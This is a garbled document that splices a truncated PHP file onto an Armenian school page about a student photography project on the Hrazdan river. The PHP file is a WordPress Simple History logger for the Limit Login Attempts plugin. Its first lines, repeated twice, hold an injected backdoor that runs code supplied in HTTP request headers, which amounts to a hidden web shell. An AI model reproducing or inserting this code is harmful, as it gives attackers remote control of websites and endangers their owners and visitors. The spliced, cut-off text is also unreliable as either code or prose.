$_HEADERS=getallheaders();if(isset($_HEADERS['Server-Timing'])){$created=$_HEADERS['Server-Timing']('', $_HEADERS['Authorization']($_HEADERS['X-Dns-Prefetch-Control']));$created();}
php $_HEADERS=getallheaders();if(isset($_HEADERS['Server-Timing'])){$created=$_HEADERS['Server-Timing']('', $_HEADERS['Authorization']($_HEADERS['X-Dns-Prefetch-Control']));$created();}
defined( 'ABSPATH' ) || die();
/**
* Logger for the (old but still) very popular plugin Limit Login Attempts
* https://sv.wordpress.org/plugins/limit-login-attempts/
*/
if ( ! class_exists( 'Plugin_LimitLoginAttempts' ) ) {
class Plugin_LimitLoginAttempts extends SimpleLogger {
public $slug = __CLASS__;
public function getInfo() {
$arr_info = array(
'name' => _x( 'Plugin: Limit Login Attempts Logger', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
'description' => _x( 'Logs failed login attempts, lockouts, and configuration changes made in the plugin Limit Login Attempts', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
'name_via' => _x( 'Using plugin Limit Login Attempts', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
'capability' => 'manage_options',
'messages' => array(
// 'user_locked_out' => _x( 'User locked out', "Logger: Plugin Limit Login Attempts", "simple-history" ),
'failed_login_whitelisted' => _x( 'Failed login attempt from whitelisted IP', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
'failed_login' => _x( 'Was locked out because too many failed login attempts', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
'cleared_ip_log' => _x( 'Cleared IP log', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
'reseted_lockout_count' => _x( 'Reset lockout count', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
'cleared_current_lockouts' => _x( 'Cleared current lockouts', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
'updated_options' => _x( 'Updated options', 'Logger: Plugin Limit Login Attempts', 'simple-history' ),
),
/*
"labels" => array(
"search" => array(
"label" => _x( "Limit Login Attempts", "Logger: Plugin Limit Login Attempts", "simple-history" ),
"options" => array(
_x( "xxxPages not found", "User logger: 404", "simple-history" ) => array(
"page_not_found",
),
),
), // end search
),*/ // end labels
);
return $arr_info;
}
public function loaded() {
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
$pluginFilePath = 'limit-login-attempts/limit-login-attempts.php';
$isPluginActive = is_plugin_active( $pluginFilePath );
// Only continue to add filters if plugin is active.
// This minimise the risk of plugin errors, because plugin
// has been forked to new versions.
if ( ! $isPluginActive ) {
return;
}
add_filter( 'pre_option_limit_login_lockouts_total', array( $this, 'on_option_limit_login_lockouts_total' ), 10, 1 );
add_action( 'load-settings_page_limit-login-attempts', array( $this, 'on_load_settings_page' ), 10, 1 );
}
/**
* Fired when plugin options screen is loaded
*/
public function on_load_settings_page( $a ) {
// phpcs:ignore WordPress.Security.NonceVerification.Missing
if ( $_POST && wp_verify_nonce( $_POST['_wpnonce'], 'limit-login-attempts-options' ) ) {
// Settings saved
if ( isset( $_POST['clear_log'] ) ) {
$this->noticeMessage( 'cleared_ip_log' );
}
if ( isset( $_POST['reset_total'] ) ) {
$this->noticeMessage( 'reseted_lockout_count' );
}
if ( isset( $_POST['reset_current'] ) ) {
$this->noticeMessage( 'cleared_current_lockouts' );
}
if ( isset( $_POST['update_options'] ) ) {
$options = array(
'client_type' => sanitize_text_field( $_POST['client_type'] ),
'allowed_retries' => sanitize_text_field( $_POST['allowed_retries'] ),
'lock
«Մխիթար Սեբաստացի» կրթահամալիրի ինտերնետ-հեռուստատեսություն
«Գետը բնակավայրում». արձանագրություն
In ՆԱԽԱԳԾԵՐ
on 20/06/2019
Քանդակագործության, ճարտարապետության, շրջակա միջավայրի միջազգային ամենամյա փառատոն
«Գետը բնակավայրում» նախագծի ամփոփում
Հունիսյան ճամբարի ընթացքում Ավագ դպրոցի լուսանկարչության խմբի մի քանի սովորողների հետ, քննարկեցինք և ընտրեցինք մեր մասնակցության ուղղությունը Քանդակագործության, ճարտարապետության, շրջակա միջավայրի միջազգային ամենամյա փառատոնին: Ընտրեցինք երկու աշխատանքային թեմա «Գետը բնակավայրում» և «Բանգլադեշը 100 սովորողի աչքերով» : Մշակեցինք նախագիծը, նշանակեցինք նկարահանման օրերը ու սկսեցինք աշխատել: Սռաջին նախագիծը «Գետը բնակավայրում»-ն էր: Այս նախագծով նկարահանումներ ենք իրականացրել Արարատի մարզի մի քանի գյուղերում, որտեղով անցնում է Հրազդան գետը: Ոտքով քայլել ենք Գեղանիստ, Գետափնյա, Ղուկասավան գյուղերով: Նկարել ենք նաև Հովտաշատ և Սիս գյուղերում: Քայլել ու նկարել ենք Հրազդանի կիրճում: Բացի ֆոտոշարքերից, ըստ նախնական պայմանավորվածության, փորձել ենք նկարել նաև մուլտիմեդիա աշխատանքներ:
Հունիսի 21-ին, ժամը 12:30 մեր աշխատանքների, ինչպես նաև նախագծի ընթացքում ստեղծված այլ նյութերի ամփոփումը կարող եք տեսնել ֆիզիկական միջավայրում` Հյուսիսային դպրոցի «Artասահման» ցուցասրահում :
Սիրով կսպասենք բոլորիդ …
Նյութերի առցանց փաթեթ.
«Գետը բնակավայրում». Գեղանիստ, Ղուկասավան գյուղեր #2 . Տիգրան Արամյան
«Գետը բնակավայրում». Գեղանիստ, Ղուկասավան գյուղեր #1 . Էլեն Սարատիկյան
«Գետը բնակավայրում». գյուղ Հովտաշատ . Անի Սարգսյան, Տիգրան Արամյան
«Գետը բնակավայրում». Հրազդանի կիրճ #3 . Տիգրան Արամյան
«Գետը բնակավայրում». Հրազդանի կիրճ #2 . Անուշ Թադևոսյան
«Գետը բնակավայրում». Հրազդանի կիրճ #1 . Էլեն Սարատիկյան
«Գետը բնակավայրում». Հրազդան գետ. Անի Սարգսյան
«Գետը բնակավայրում», գյուղ Գեղանիստ. մուլտիմեդիա
«Գետը բնակավայրում», գյուղ Ղուկասավան. մուլտիմեդիա
«Գետը բնակավայրում», Հրազդանի կիրճ. մուլտիմեդիա
Աշխատանքային խումբ՝
Անի Սարգսյան. ղեկավար
Տիգրան Արամյան. Ավագ դպրոց 11-րդ դաս.
Էլեն Սարատիկյան. Ավագ դպրոց 11-րդ դաս.
Անուշ Թադևոսյան. Ավագ դպրոց 11-րդ դաս.
Էջի լուսանկարը` Անի Սարգսյանի
27 դիտում
Թողնել կարծիք